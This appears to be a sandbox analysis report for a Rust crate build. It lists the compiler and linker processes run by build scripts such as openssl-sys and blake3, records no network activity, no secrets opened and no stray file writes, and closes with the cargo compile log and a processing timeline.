└toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/collect2	-plugin /usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper -plugin-opt=-fresolution=/tmp/ccSeeqFT.res --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -fuse-ld=lld -o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o -L/work/target/debug/build/openssl-sys-9db41c071c247f6c/rustcQUbOqi/raw-dylibs -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/gcc-ld -L/usr/lib/gcc/x86_64-linux-gnu/14 -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/	4.0 s	154 ms	0
└toolchain /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/rust-lld	-flavor gnu -plugin /usr/libexec/gcc/x86_64-linux-gnu/14/liblto_plugin.so -plugin-opt=/usr/libexec/gcc/x86_64-linux-gnu/14/lto-wrapper -plugin-opt=-fresolution=/tmp/ccSeeqFT.res --build-id --eh-frame-hdr -m elf_x86_64 --hash-style=gnu --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/14/crtbeginS.o -L/work/target/debug/build/openssl-sys-9db41c071c247f6c/rustcQUbOqi/raw-dylibs -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib -L/usr/local/lib/rustlib/x86_64-unknown-linux-gnu/bin/gcc-ld -L/usr/lib/gcc/x86_64-linux-gnu/14 -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/14/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64	4.0 s	151 ms	0
└build_script openssl-sys		7.7 s	70 ms	0
└other /usr/bin/pkg-config ×2	--libs --cflags openssl	7.7 s	2 ms	0
└toolchain /usr/bin/cc ×2	-E /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/5982714859517148459detect_compiler_family.c	7.7 s	24 ms	0
└toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1	-E -quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/5982714859517148459detect_compiler_family.c -mtune=generic -march=x86-64 -fasynchronous-unwind-tables -dumpbase 5982714859517148459detect_compiler_family.c -dumpbase-ext .c	7.7 s	22 ms	0
└toolchain /usr/bin/cc	-?	7.8 s	3 ms	256
└toolchain /usr/bin/cc	-O0 -ffunction-sections -fdata-sections -fPIC -m64 -Wall -Wextra -mno-omit-leaf-frame-pointer -o /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check -c /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check.c	7.8 s	30 ms	0
└toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1	-quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check.c -quiet -dumpdir /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/ -dumpbase flag_check.c -dumpbase-ext .c -m64 -mno-omit-leaf-frame-pointer -mtune=generic -march=x86-64 -O0 -Wall -Wextra -ffunction-sections -fdata-sections -fPIC -fasynchronous-unwind-tables -o /tmp/ccPIm9zy.s	7.8 s	22 ms	0
└toolchain /usr/bin/as	--64 -o /work/target/debug/build/openssl-sys-053c6ab03053bdf4/out/flag_check /tmp/ccPIm9zy.s	7.8 s	5 ms	0
└build_script openssl		18.2 s	1 ms	0
└build_script native-tls		20.6 s	1 ms	0
└build_script blake3		43.2 s	154 ms	0
└toolchain /usr/bin/cc ×3	-E /work/target/debug/build/blake3-94df302d7f25233d/out/5419528692612628020detect_compiler_family.c	43.2 s	6 ms	0
└toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1	-E -quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/blake3-94df302d7f25233d/out/5419528692612628020detect_compiler_family.c -mtune=generic -march=x86-64 -fasynchronous-unwind-tables -dumpbase 5419528692612628020detect_compiler_family.c -dumpbase-ext .c	43.2 s	5 ms	0
└toolchain /usr/bin/cc ×3	-?	43.2 s	2 ms	256
└toolchain /usr/bin/cc ×8	-O0 -ffunction-sections -fdata-sections -fPIC -m64 -Wall -Wextra -mavx512f -o /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check -c /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check.c	43.2 s	18 ms	0
└toolchain /usr/libexec/gcc/x86_64-linux-gnu/14/cc1	-quiet -imultiarch x86_64-linux-gnu /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check.c -quiet -dumpdir /work/target/debug/build/blake3-94df302d7f25233d/out/ -dumpbase flag_check.c -dumpbase-ext .c -m64 -mavx512f -mtune=generic -march=x86-64 -O0 -Wall -Wextra -ffunction-sections -fdata-sections -fPIC -fasynchronous-unwind-tables -o /tmp/ccwPUYBc.s	43.2 s	15 ms	0
└toolchain /usr/bin/as	--64 -o /work/target/debug/build/blake3-94df302d7f25233d/out/flag_check /tmp/ccwPUYBc.s	43.3 s	1 ms	0
└toolchain /usr/bin/ar ×4	cqD /work/target/debug/build/blake3-94df302d7f25233d/out/libblake3_sse2_sse41_avx2_assembly.a /work/target/debug/build/blake3-94df302d7f25233d/out/b8423798394d5395-blake3_sse2_x86-64_unix.o /work/target/debug/build/blake3-94df302d7f25233d/out/b8423798394d5395-blake3_sse41_x86-64_unix.o /work/target/debug/build/blake3-94df302d7f25233d/out/b8423798394d5395-blake3_avx2_x86-64_unix.o	43.3 s	3 ms	0

Network 0

No network activity.

Files 0

Secrets opened

None.

Written outside the build directories

None.

Scratch disk 0

Files: 1007
Directories: 183
Size: 613.5 MiB
Compiled units: 254
Scan: stopped at a limit

Nothing outside the build areas.

Output

Standard error

   Compiling libc v0.2.189
   Compiling cfg-if v1.0.5
   Compiling zerofrom v0.1.8
   Compiling stable_deref_trait v1.2.1
   Compiling yoke v0.8.3
   Compiling smallvec v1.16.2
   Compiling pin-project-lite v0.2.17
   Compiling zerovec v0.11.8
   Compiling memchr v2.8.3
   Compiling futures-core v0.3.34
   Compiling bytes v1.12.1
   Compiling futures-sink v0.3.34
   Compiling itoa v1.0.18
   Compiling scopeguard v1.2.0
   Compiling vcpkg v0.2.15
   Compiling openssl-sys v0.9.117
   Compiling lock_api v0.4.14
   Compiling futures-channel v0.3.34
   Compiling serde_core v1.0.229
   Compiling parking_lot_core v0.9.12
   Compiling tinystr v0.8.4
   Compiling errno v0.3.14
   Compiling litemap v0.8.3
   Compiling writeable v0.6.4
   Compiling icu_locale_core v2.3.0
   Compiling signal-hook-registry v1.4.8
   Compiling parking_lot v0.12.5
   Compiling zerotrie v0.2.5
   Compiling potential_utf v0.1.6
   Compiling mio v1.2.3
   Compiling socket2 v0.6.5
   Compiling utf8_iter v1.0.4
   Compiling futures-io v0.3.34
   Compiling futures-task v0.3.34
   Compiling bitflags v2.13.2
   Compiling slab v0.4.12
   Compiling futures-util v0.3.34
   Compiling icu_collections v2.3.0
   Compiling serde v1.0.229
   Compiling tokio v1.53.1
   Compiling icu_provider v2.3.1
   Compiling http v1.5.0
   Compiling percent-encoding v2.3.2
   Compiling http-body v1.1.0
   Compiling icu_normalizer_data v2.3.0
   Compiling icu_properties_data v2.3.0
   Compiling openssl v0.10.81
   Compiling foreign-types-shared v0.1.1
   Compiling once_cell v1.21.4
   Compiling foreign-types v0.3.2
   Compiling icu_properties v2.3.0
   Compiling icu_normalizer v2.3.0
   Compiling openssl-macros v0.1.1
   Compiling try-lock v0.2.5
   Compiling tower-service v0.3.3
   Compiling typenum v1.20.1
   Compiling native-tls v0.2.18
   Compiling generic-array v0.14.7
   Compiling want v0.3.1
   Compiling idna_adapter v1.2.2
   Compiling httparse v1.10.1
   Compiling tracing-core v0.1.36
   Compiling form_urlencoded v1.2.2
   Compiling log v0.4.34
   Compiling openssl-probe v0.2.1
   Compiling atomic-waker v1.1.2
   Compiling hyper v1.11.1
   Compiling tracing v0.1.44
   Compiling idna v1.1.0
   Compiling sync_wrapper v1.0.2
   Compiling hashbrown v0.17.1
   Compiling ipnet v2.12.2
   Compiling equivalent v1.0.2
   Compiling base64 v0.23.1
   Compiling tower-layer v0.3.3
   Compiling tower v0.5.3
   Compiling hyper-util v0.1.21
   Compiling indexmap v2.14.2
   Compiling url v2.5.8
   Compiling tokio-native-tls v0.3.1
   Compiling zmij v1.0.23
   Compiling crypto-common v0.1.7
   Compiling block-buffer v0.10.4
   Compiling http-body-util v0.1.5
   Compiling serde_spanned v0.6.9
   Compiling toml_datetime v0.6.11
   Compiling aho-corasick v1.1.5
   Compiling blake3 v1.8.7
   Compiling regex-syntax v0.8.11
   Compiling toml_write v0.1.2
   Compiling zeroize v1.9.0
   Compiling linux-raw-sys v0.12.1
   Compiling winnow v0.7.15
   Compiling option-ext v0.2.0
   Compiling ryu v1.0.23
   Compiling serde_urlencoded v0.7.1
   Compiling dirs-sys v0.5.0
   Compiling toml_edit v0.22.27
   Compiling rustix v1.1.5
   Compiling rustls-pki-types v1.15.1
   Compiling regex-automata v0.4.18
   Compiling hyper-tls v0.6.0
   Compiling digest v0.10.7
   Compiling num-traits v0.2.19
   Compiling serde_json v1.0.151
   Compiling tower-http v0.6.11
   Compiling getrandom v0.4.3
   Compiling futures-executor v0.3.34
   Compiling thiserror-impl v1.0.69
   Compiling base64 v0.22.1
   Compiling arrayvec v0.7.8
   Compiling fastrand v2.5.0
   Compiling cpufeatures v0.2.17
   Compiling constant_time_eq v0.4.2
   Compiling cpufeatures v0.3.1
   Compiling iana-time-zone v0.1.65
   Compiling chrono v0.4.45
   Compiling sha2 v0.10.9
   Compiling tempfile v3.27.0
   Compiling reqwest v0.12.28
   Compiling thiserror v1.0.69
   Compiling futures v0.3.34
   Compiling regex v1.13.1
   Compiling toml v0.8.23
   Compiling dirs v6.0.0
   Compiling lazy_static v1.5.1
   Compiling aur-scanner-core v2.2.0
   Compiling crateward-probe v0.0.0 (/cw/probe)
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 1m 00s

Timeline

When	From	To	Event	Worker
2026-10-02 19:38 UTC	Discovered	Fetched	fetched	fetcher-2797145
2026-10-02 19:38 UTC	Fetched	ReadyForSandbox	static_analysis_completed	static-2797146
2026-10-02 19:38 UTC	ReadyForSandbox	Running	sandbox_started	orchestrator-2797150-slot2
2026-10-02 19:38 UTC	Running	DynamicallyAnalyzed	sandbox_completed	orchestrator-2797150-slot2
2026-10-02 19:38 UTC	DynamicallyAnalyzed	ReadyForSandbox	scored	analyzer-2797147
2026-10-02 19:38 UTC	ReadyForSandbox	Running	sandbox_started	orchestrator-2797150-slot0
2026-10-02 19:39 UTC	Running	DynamicallyAnalyzed	sandbox_completed	orchestrator-2797150-slot0
2026-10-02 19:39 UTC	DynamicallyAnalyzed	Scored	scored	analyzer-2797147
2026-10-02 19:39 UTC	Scored	Done	finalized	analyzer-2797147